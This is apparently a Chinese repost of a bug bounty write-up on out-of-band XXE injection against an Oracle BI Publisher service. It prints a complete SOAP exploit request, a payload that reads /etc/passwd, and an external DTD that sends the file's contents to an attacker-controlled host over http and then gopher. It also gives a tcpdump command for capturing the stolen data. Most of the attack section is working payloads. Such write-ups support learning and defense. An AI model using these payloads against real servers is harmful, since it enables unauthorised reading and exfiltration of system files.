bugbounty:Out of Band XXE Injection Via gopher
2019-09-25 10:22:08 Author: xz.aliyun.com(查看原文) 阅读量:209 收藏

当我在做渗透测试的时候,我找到一个使用oracle 公司产品的网站。

经过一番搜索之后,我找到可以利用的漏洞点:https://www.exploit-db.com/exploits/40590

让我们看一下是怎么利用的:

POST /xmlpserver/services/ServiceGateway HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: #replyToXML
Host: vulnerablehost
Content-Length: 630

<soapenv:Envelope xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd=”http://www.w3.org/2001/XMLSchema" xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser=”http://xmlns.oracle.com/oxp/service/service_gateway">
<soapenv:Header/>
<soapenv:Body>
<ser:replyToXML soapenv:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/">
<incomingXML xsi:type=”xsd:string”><![CDATA[<?xml version=”1.0" encoding=”utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM “http://attacker/file.xml">%remote;]>]]></incomingXML>
</ser:replyToXML>
</soapenv:Body>
</soapenv:Envelope>

漏洞分析阶段

首先,我为了确认这个漏洞,我尝试使用burpcollaborator进行验证。

burpcollaborator给出的的本地服务器链接地址是:

xxe.ik6popcppq2yb37iatqr5tcxzo5et3.burpcollaborator.net

让我们看一下是否在burpcollaborator的DNS和HTTP进行查询的操作

因此,现在,我们可以确定存在xml注入,因为服务器在burpcollaborator上进行了dns和http查询

漏洞利用

我尝试使用XXE注入找到一些关键的信息,payload如下所示:

<?xml version=”1.0" encoding=”utf-8"?><!DOCTYPE m [ 
<!ENTITY % file SYSTEM “file:///etc/passwd”>
<!ENTITY % dtd SYSTEM “http://myhost/evil.dtd">
%dtd;
]]>

其中的evil.dtd托管在我的服务器上,详细信息如下:

<!ENTITY % all “<!ENTITY send SYSTEM ‘http://myhost:80/%file;'>"> %all;

我们可以提取/etc/passwd的第一行信息:

漏洞利用的全过程

现在我们的目标是获取/etc/passwd中的全部信息,我搜索了关于这个问题的解决办法,其中一种方法是使用ftp服务器并尝试与ftp://myhost:port连接,但是由于服务器拒绝这种url模式,因此这种方法失败了。

最后,我尝试使用含有gopher的url链接进行操作,因此evil.dtd的形式如下:

<!ENTITY % all “<!ENTITY send SYSTEM ‘gopher://myhost:80/%file;’>”> %all;

我使用tcpdump命令对80端口进行扫描

tcpdump -A src host vulnerablehost and port 80 and greater 1000

如上图所示,你可以看到,我们可以使用含有gopher的url提取文件

原文链接:https://medium.com/@osama.alaa/xxe-injection-in-oracle-application-server-11g-cc05f6ab55ab


文章来源: http://xz.aliyun.com/t/6403
如有侵权请联系:admin#unsafe.sh